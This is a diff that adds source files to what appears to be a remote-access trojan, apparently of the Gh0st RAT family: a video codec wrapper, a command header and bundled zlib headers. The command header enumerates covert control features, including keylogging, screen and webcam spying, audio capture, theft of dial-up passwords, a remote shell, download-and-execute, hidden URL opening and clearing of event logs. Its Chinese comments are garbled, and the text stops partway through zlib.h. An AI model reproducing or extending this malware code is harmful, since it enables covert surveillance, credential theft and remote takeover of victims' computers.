+  // <20>оٱ<D0BE><D9B1><EFBFBD><EFBFBD><EFBFBD>װ<EFBFBD>Ľ<EFBFBD><C4BD><EFBFBD><EFBFBD><EFBFBD>(CODEC)
+int EnumCodecs(int *fccHandler, char *strName)
+{
+	static int	i = 0;
+	int			nRet = 1;
+	HIC			hIC;
+	ICINFO		icInfo;
+
+	if (fccHandler == NULL)
+		return 0;
+
+	if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) 
+	{
+		i = 0;
+		return 0;
+	}
+	hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
+
+	if (hIC)
+	{
+		ICGetInfo(hIC, &icInfo, sizeof(icInfo)); 
+		*fccHandler = icInfo.fccHandler;
+		//<2F><><EFBFBD>ڵõ<DAB5><C3B5><EFBFBD>szDescription<6F><6E>UNICODE˫<45>ֽ<EFBFBD><D6BD>ִ<EFBFBD><D6B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫת<D2AA><D7AA>ΪASCII<49><49>
+		if (strName != NULL)
+			wcstombs(strName, icInfo.szDescription, 256);
+	}
+	else nRet = -1;
+
+	ICClose(hIC);
+	i++;
+	return nRet;
+}
+
+Usage:
+	int	fccHandler;
+	char strName[MAX_PATH];
+	while(EnumCodecs(&fccHandler, strName))
+	{
+		printf("0x%x,%s\n", fccHandler, strName);
+	}
+*/
+class CVideoCodec  
+{
+	COMPVARS	m_cv;
+	HIC			m_hIC;
+	BITMAPINFO*	m_lpbmiInput;
+	BITMAPINFO	m_bmiOutput;
+public:
+	
+	bool InitCompressor(BITMAPINFO*	lpbmi, DWORD fccHandler)
+	{
+		if (lpbmi == NULL)
+			return false;
+
+		m_lpbmiInput = lpbmi;
+		
+		ZeroMemory(&m_cv, sizeof(m_cv));
+		m_cv.cbSize		= sizeof(m_cv);
+		m_cv.dwFlags	= ICMF_COMPVARS_VALID;
+		m_cv.hic		= m_hIC;
+		m_cv.fccType	= ICTYPE_VIDEO;
+		m_cv.fccHandler	= fccHandler;
+		m_cv.lpbiOut	= NULL;
+		m_cv.lKey		= 10;
+		m_cv.lDataRate	= 6;
+		m_cv.lQ			= ICQUALITY_HIGH;		
+		
+		m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
+		
+		if (m_hIC == NULL)
+		{
+			return false;
+		}
+
+		ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
+		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤
+		ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
+		
+		m_cv.hic = m_hIC;
+		m_cv.dwFlags = ICMF_COMPVARS_VALID;
+		
+		if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput))
+		{
+			return false;
+		}
+
+		ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput);
+		
+		return true;
+	}
+	
+	bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
+	{
+		if(!pin || !pout ||!m_hIC)		
+			return false;
+ 		if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
+ 			return false;
+		
+		if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
+		
+		return true;	
+	}
+	
+	bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
+	{
+		BYTE	*p;
+		long	s = 1;
+		BOOL	k = true;
+		if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
+			return false;
+		p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
+
+		if (!p)		return false;
+		if (lenr)	*lenr = s;
+		if (pKey)	*pKey = k;
+		
+		CopyMemory(pout, p, s);
+		
+		return true;
+	}
+	
+	CVideoCodec()
+	{
+		m_lpbmiInput = NULL;
+	}
+	
+	virtual ~CVideoCodec()
+	{
+		// No init yet or init error
+		if (m_hIC == NULL)
+			return;
+		ICDecompressEnd(m_hIC);
+		ICSeqCompressFrameEnd(&m_cv);
+		ICCompressorFree(&m_cv);
+		ICClose(m_hIC);
+	}
+	
+};
+#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)

common/macros.h

@@ -0,0 +1,119 @@
+
+#if !defined(AFX_MACROS_H_INCLUDED)
+#define AFX_MACROS_H_INCLUDED
+
+// BYTE<54><45><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2>256
+enum
+{
+	// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
+	TRANSFER_MODE_NORMAL = 0x00,	// һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
+	TRANSFER_MODE_ADDITION,			// ׷<><D7B7>
+	TRANSFER_MODE_ADDITION_ALL,		// ȫ<><C8AB>׷<EFBFBD><D7B7>
+	TRANSFER_MODE_OVERWRITE,		// <20><><EFBFBD><EFBFBD>
+	TRANSFER_MODE_OVERWRITE_ALL,	// ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TRANSFER_MODE_JUMP,				// <20><><EFBFBD><EFBFBD>
+	TRANSFER_MODE_JUMP_ALL,			// ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TRANSFER_MODE_CANCEL,			// ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	
+	// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_ACTIVED = 0x00,			// <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
+	COMMAND_LIST_DRIVE,				// <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
+	COMMAND_LIST_FILES,				// <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
+	COMMAND_DOWN_FILES,				// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+	COMMAND_FILE_SIZE,				// <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
+	COMMAND_FILE_DATA,				// <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_EXCEPTION,				// <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
+	COMMAND_CONTINUE,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_STOP,					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
+	COMMAND_DELETE_FILE,			// ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
+	COMMAND_DELETE_DIRECTORY,		// ɾ<><C9BE>Ŀ¼
+	COMMAND_SET_TRANSFER_MODE,		// <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
+	COMMAND_CREATE_FOLDER,			// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
+	COMMAND_RENAME_FILE,			// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_OPEN_FILE_SHOW,			// <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
+	COMMAND_OPEN_FILE_HIDE,			// <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
+	
+	COMMAND_SCREEN_SPY,				// <20><>Ļ<EFBFBD>鿴
+	COMMAND_SCREEN_RESET,			// <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
+	COMMAND_ALGORITHM_RESET,		// <20>ı<EFBFBD><C4B1>㷨
+	COMMAND_SCREEN_CTRL_ALT_DEL,	// <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
+	COMMAND_SCREEN_CONTROL,			// <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
+	COMMAND_SCREEN_BLOCK_INPUT,		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_SCREEN_BLANK,			// <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
+	COMMAND_SCREEN_CAPTURE_LAYER,	// <20><>׽<EFBFBD><D7BD>
+	COMMAND_SCREEN_GET_CLIPBOARD,	// <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_SCREEN_SET_CLIPBOARD,	// <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
+
+	COMMAND_WEBCAM,					// <20><><EFBFBD><EFBFBD>ͷ
+	COMMAND_WEBCAM_ENABLECOMPRESS,	// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
+	COMMAND_WEBCAM_DISABLECOMPRESS,	// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
+	COMMAND_WEBCAM_RESIZE,			// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
+	COMMAND_NEXT,					// <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
+
+	COMMAND_KEYBOARD,				// <20><><EFBFBD>̼<EFBFBD>¼
+	COMMAND_KEYBOARD_OFFLINE,		// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
+	COMMAND_KEYBOARD_CLEAR,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
+
+	COMMAND_AUDIO,					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+
+	COMMAND_SYSTEM,					// ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
+	COMMAND_PSLIST,					// <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+	COMMAND_WSLIST,					// <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+	COMMAND_DIALUPASS,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	COMMAND_KILLPROCESS,			// <20>رս<D8B1><D5BD><EFBFBD>
+	COMMAND_SHELL,					// cmdshell
+	COMMAND_SESSION,				// <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
+	COMMAND_REMOVE,					// ж<>غ<EFBFBD><D8BA><EFBFBD>
+	COMMAND_DOWN_EXEC,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
+	COMMAND_UPDATE_SERVER,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
+	COMMAND_CLEAN_EVENT,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
+	COMMAND_OPEN_URL_HIDE,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
+	COMMAND_OPEN_URL_SHOW,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
+	COMMAND_RENAME_REMARK,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
+	COMMAND_REPLAY_HEARTBEAT,		// <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+
+
+	// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
+	TOKEN_AUTH = 100,				// Ҫ<><D2AA><EFBFBD><EFBFBD>֤
+	TOKEN_HEARTBEAT,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_LOGIN,					// <20><><EFBFBD>߰<EFBFBD>
+	TOKEN_DRIVE_LIST,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+	TOKEN_FILE_LIST,				// <20>ļ<EFBFBD><C4BC>б<EFBFBD>
+	TOKEN_FILE_SIZE,				// <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
+	TOKEN_FILE_DATA,				// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_TRANSFER_FINISH,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_DELETE_FINISH,			// ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_GET_TRANSFER_MODE,		// <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
+	TOKEN_GET_FILEDATA,				// Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_CREATEFOLDER_FINISH,		// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_DATA_CONTINUE,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_RENAME_FINISH,			// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_EXCEPTION,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
+	
+	TOKEN_BITMAPINFO,				// <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
+	TOKEN_FIRSTSCREEN,				// <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
+	TOKEN_NEXTSCREEN,				// <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
+	TOKEN_CLIPBOARD_TEXT,			// <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+
+
+	TOKEN_WEBCAM_BITMAPINFO,		// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
+	TOKEN_WEBCAM_DIB,				// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	
+	TOKEN_AUDIO_START,				// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_AUDIO_DATA,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+
+	TOKEN_KEYBOARD_START,			// <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
+	TOKEN_KEYBOARD_DATA,			// <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	
+	TOKEN_PSLIST,					// <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+	TOKEN_WSLIST,					// <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
+	TOKEN_DIALUPASS,				// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+	TOKEN_SHELL_START				// Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
+};
+
+
+#define	MAX_WRITE_RETRY			15 // <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
+#define	MAX_SEND_BUFFER			1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
+#define MAX_RECV_BUFFER			1024 * 8 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>
+
+#endif // !defined(AFX_MACROS_H_INCLUDED)

common/zlib/zconf.h

@@ -0,0 +1,279 @@
+/* zconf.h -- configuration of the zlib compression library
+ * Copyright (C) 1995-2002 Jean-loup Gailly.
+ * For conditions of distribution and use, see copyright notice in zlib.h 
+ */
+
+/* @(#) $Id$ */
+
+#ifndef _ZCONF_H
+#define _ZCONF_H
+
+/*
+ * If you *really* need a unique prefix for all types and library functions,
+ * compile with -DZ_PREFIX. The "standard" zlib should be compiled without it.
+ */
+#ifdef Z_PREFIX
+#  define deflateInit_	z_deflateInit_
+#  define deflate	z_deflate
+#  define deflateEnd	z_deflateEnd
+#  define inflateInit_ 	z_inflateInit_
+#  define inflate	z_inflate
+#  define inflateEnd	z_inflateEnd
+#  define deflateInit2_	z_deflateInit2_
+#  define deflateSetDictionary z_deflateSetDictionary
+#  define deflateCopy	z_deflateCopy
+#  define deflateReset	z_deflateReset
+#  define deflateParams	z_deflateParams
+#  define inflateInit2_	z_inflateInit2_
+#  define inflateSetDictionary z_inflateSetDictionary
+#  define inflateSync	z_inflateSync
+#  define inflateSyncPoint z_inflateSyncPoint
+#  define inflateReset	z_inflateReset
+#  define compress	z_compress
+#  define compress2	z_compress2
+#  define uncompress	z_uncompress
+#  define adler32	z_adler32
+#  define crc32		z_crc32
+#  define get_crc_table z_get_crc_table
+
+#  define Byte		z_Byte
+#  define uInt		z_uInt
+#  define uLong		z_uLong
+#  define Bytef	        z_Bytef
+#  define charf		z_charf
+#  define intf		z_intf
+#  define uIntf		z_uIntf
+#  define uLongf	z_uLongf
+#  define voidpf	z_voidpf
+#  define voidp		z_voidp
+#endif
+
+#if (defined(_WIN32) || defined(__WIN32__)) && !defined(WIN32)
+#  define WIN32
+#endif
+#if defined(__GNUC__) || defined(WIN32) || defined(__386__) || defined(i386)
+#  ifndef __32BIT__
+#    define __32BIT__
+#  endif
+#endif
+#if defined(__MSDOS__) && !defined(MSDOS)
+#  define MSDOS
+#endif
+
+/*
+ * Compile with -DMAXSEG_64K if the alloc function cannot allocate more
+ * than 64k bytes at a time (needed on systems with 16-bit int).
+ */
+#if defined(MSDOS) && !defined(__32BIT__)
+#  define MAXSEG_64K
+#endif
+#ifdef MSDOS
+#  define UNALIGNED_OK
+#endif
+
+#if (defined(MSDOS) || defined(_WINDOWS) || defined(WIN32))  && !defined(STDC)
+#  define STDC
+#endif
+#if defined(__STDC__) || defined(__cplusplus) || defined(__OS2__)
+#  ifndef STDC
+#    define STDC
+#  endif
+#endif
+
+#ifndef STDC
+#  ifndef const /* cannot use !defined(STDC) && !defined(const) on Mac */
+#    define const
+#  endif
+#endif
+
+/* Some Mac compilers merge all .h files incorrectly: */
+#if defined(__MWERKS__) || defined(applec) ||defined(THINK_C) ||defined(__SC__)
+#  define NO_DUMMY_DECL
+#endif
+
+/* Old Borland C incorrectly complains about missing returns: */
+#if defined(__BORLANDC__) && (__BORLANDC__ < 0x500)
+#  define NEED_DUMMY_RETURN
+#endif
+
+
+/* Maximum value for memLevel in deflateInit2 */
+#ifndef MAX_MEM_LEVEL
+#  ifdef MAXSEG_64K
+#    define MAX_MEM_LEVEL 8
+#  else
+#    define MAX_MEM_LEVEL 9
+#  endif
+#endif
+
+/* Maximum value for windowBits in deflateInit2 and inflateInit2.
+ * WARNING: reducing MAX_WBITS makes minigzip unable to extract .gz files
+ * created by gzip. (Files created by minigzip can still be extracted by
+ * gzip.)
+ */
+#ifndef MAX_WBITS
+#  define MAX_WBITS   15 /* 32K LZ77 window */
+#endif
+
+/* The memory requirements for deflate are (in bytes):
+            (1 << (windowBits+2)) +  (1 << (memLevel+9))
+ that is: 128K for windowBits=15  +  128K for memLevel = 8  (default values)
+ plus a few kilobytes for small objects. For example, if you want to reduce
+ the default memory requirements from 256K to 128K, compile with
+     make CFLAGS="-O -DMAX_WBITS=14 -DMAX_MEM_LEVEL=7"
+ Of course this will generally degrade compression (there's no free lunch).
+
+   The memory requirements for inflate are (in bytes) 1 << windowBits
+ that is, 32K for windowBits=15 (default value) plus a few kilobytes
+ for small objects.
+*/
+
+                        /* Type declarations */
+
+#ifndef OF /* function prototypes */
+#  ifdef STDC
+#    define OF(args)  args
+#  else
+#    define OF(args)  ()
+#  endif
+#endif
+
+/* The following definitions for FAR are needed only for MSDOS mixed
+ * model programming (small or medium model with some far allocations).
+ * This was tested only with MSC; for other MSDOS compilers you may have
+ * to define NO_MEMCPY in zutil.h.  If you don't need the mixed model,
+ * just define FAR to be empty.
+ */
+#if (defined(M_I86SM) || defined(M_I86MM)) && !defined(__32BIT__)
+   /* MSC small or medium model */
+#  define SMALL_MEDIUM
+#  ifdef _MSC_VER
+#    define FAR _far
+#  else
+#    define FAR far
+#  endif
+#endif
+#if defined(__BORLANDC__) && (defined(__SMALL__) || defined(__MEDIUM__))
+#  ifndef __32BIT__
+#    define SMALL_MEDIUM
+#    define FAR _far
+#  endif
+#endif
+
+/* Compile with -DZLIB_DLL for Windows DLL support */
+#if defined(ZLIB_DLL)
+#  if defined(_WINDOWS) || defined(WINDOWS)
+#    ifdef FAR
+#      undef FAR
+#    endif
+#    include <windows.h>
+#    define ZEXPORT  WINAPI
+#    ifdef WIN32
+#      define ZEXPORTVA  WINAPIV
+#    else
+#      define ZEXPORTVA  FAR _cdecl _export
+#    endif
+#  endif
+#  if defined (__BORLANDC__)
+#    if (__BORLANDC__ >= 0x0500) && defined (WIN32)
+#      include <windows.h>
+#      define ZEXPORT __declspec(dllexport) WINAPI
+#      define ZEXPORTRVA __declspec(dllexport) WINAPIV
+#    else
+#      if defined (_Windows) && defined (__DLL__)
+#        define ZEXPORT _export
+#        define ZEXPORTVA _export
+#      endif
+#    endif
+#  endif
+#endif
+
+#if defined (__BEOS__)
+#  if defined (ZLIB_DLL)
+#    define ZEXTERN extern __declspec(dllexport)
+#  else
+#    define ZEXTERN extern __declspec(dllimport)
+#  endif
+#endif
+
+#ifndef ZEXPORT
+#  define ZEXPORT
+#endif
+#ifndef ZEXPORTVA
+#  define ZEXPORTVA
+#endif
+#ifndef ZEXTERN
+#  define ZEXTERN extern
+#endif
+
+#ifndef FAR
+#   define FAR
+#endif
+
+#if !defined(MACOS) && !defined(TARGET_OS_MAC)
+typedef unsigned char  Byte;  /* 8 bits */
+#endif
+typedef unsigned int   uInt;  /* 16 bits or more */
+typedef unsigned long  uLong; /* 32 bits or more */
+
+#ifdef SMALL_MEDIUM
+   /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */
+#  define Bytef Byte FAR
+#else
+   typedef Byte  FAR Bytef;
+#endif
+typedef char  FAR charf;
+typedef int   FAR intf;
+typedef uInt  FAR uIntf;
+typedef uLong FAR uLongf;
+
+#ifdef STDC
+   typedef void FAR *voidpf;
+   typedef void     *voidp;
+#else
+   typedef Byte FAR *voidpf;
+   typedef Byte     *voidp;
+#endif
+
+#ifdef HAVE_UNISTD_H
+#  include <sys/types.h> /* for off_t */
+#  include <unistd.h>    /* for SEEK_* and off_t */
+#  define z_off_t  off_t
+#endif
+#ifndef SEEK_SET
+#  define SEEK_SET        0       /* Seek from beginning of file.  */
+#  define SEEK_CUR        1       /* Seek from current position.  */
+#  define SEEK_END        2       /* Set file pointer to EOF plus "offset" */
+#endif
+#ifndef z_off_t
+#  define  z_off_t long
+#endif
+
+/* MVS linker does not support external names larger than 8 bytes */
+#if defined(__MVS__)
+#   pragma map(deflateInit_,"DEIN")
+#   pragma map(deflateInit2_,"DEIN2")
+#   pragma map(deflateEnd,"DEEND")
+#   pragma map(inflateInit_,"ININ")
+#   pragma map(inflateInit2_,"ININ2")
+#   pragma map(inflateEnd,"INEND")
+#   pragma map(inflateSync,"INSY")
+#   pragma map(inflateSetDictionary,"INSEDI")
+#   pragma map(inflate_blocks,"INBL")
+#   pragma map(inflate_blocks_new,"INBLNE")
+#   pragma map(inflate_blocks_free,"INBLFR")
+#   pragma map(inflate_blocks_reset,"INBLRE")
+#   pragma map(inflate_codes_free,"INCOFR")
+#   pragma map(inflate_codes,"INCO")
+#   pragma map(inflate_fast,"INFA")
+#   pragma map(inflate_flush,"INFLU")
+#   pragma map(inflate_mask,"INMA")
+#   pragma map(inflate_set_dictionary,"INSEDI2")
+#   pragma map(inflate_copyright,"INCOPY")
+#   pragma map(inflate_trees_bits,"INTRBI")
+#   pragma map(inflate_trees_dynamic,"INTRDY")
+#   pragma map(inflate_trees_fixed,"INTRFI")
+#   pragma map(inflate_trees_free,"INTRFR")
+#endif
+
+#endif /* _ZCONF_H */

common/zlib/zlib.h

@@ -0,0 +1,893 @@
+/* zlib.h -- interface of the 'zlib' general purpose compression library
+  version 1.1.4, March 11th, 2002
+
+  Copyright (C) 1995-2002 Jean-loup Gailly and Mark Adler
+
+  This software is provided 'as-is', without any express or implied
+  warranty.  In no event will the authors be held liable for any damages
+  arising from the use of this software.
+
+  Permission is granted to anyone to use this software for any purpose,
+  including commercial applications, and to alter it and redistribute it
+  freely, subject to the following restrictions:
+
+  1. The origin of this software must not be misrepresented; you must not
+     claim that you wrote the original software. If you use this software
+     in a product, an acknowledgment in the product documentation would be
+     appreciated but is not required.
+  2. Altered source versions must be plainly marked as such, and must not be
+     misrepresented as being the original software.
+  3. This notice may not be removed or altered from any source distribution.
+
+  Jean-loup Gailly        Mark Adler
+  jloup@gzip.org          madler@alumni.caltech.edu
+
+
+  The data format used by the zlib library is described by RFCs (Request for
+  Comments) 1950 to 1952 in the files ftp://ds.internic.net/rfc/rfc1950.txt
+  (zlib format), rfc1951.txt (deflate format) and rfc1952.txt (gzip format).
+*/
+
+#ifndef _ZLIB_H
+#define _ZLIB_H
+
+#include "zconf.h"
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#define ZLIB_VERSION "1.1.4"
+
+/* 
+     The 'zlib' compression library provides in-memory compression and
+  decompression functions, including integrity checks of the uncompressed
+  data.  This version of the library supports only one compression method
+  (deflation) but other algorithms will be added later and will have the same
+  stream interface.
+
+     Compression can be done in a single step if the buffers are large
+  enough (for example if an input file is mmap'ed), or can be done by
+  repeated calls of the compression function.  In the latter case, the
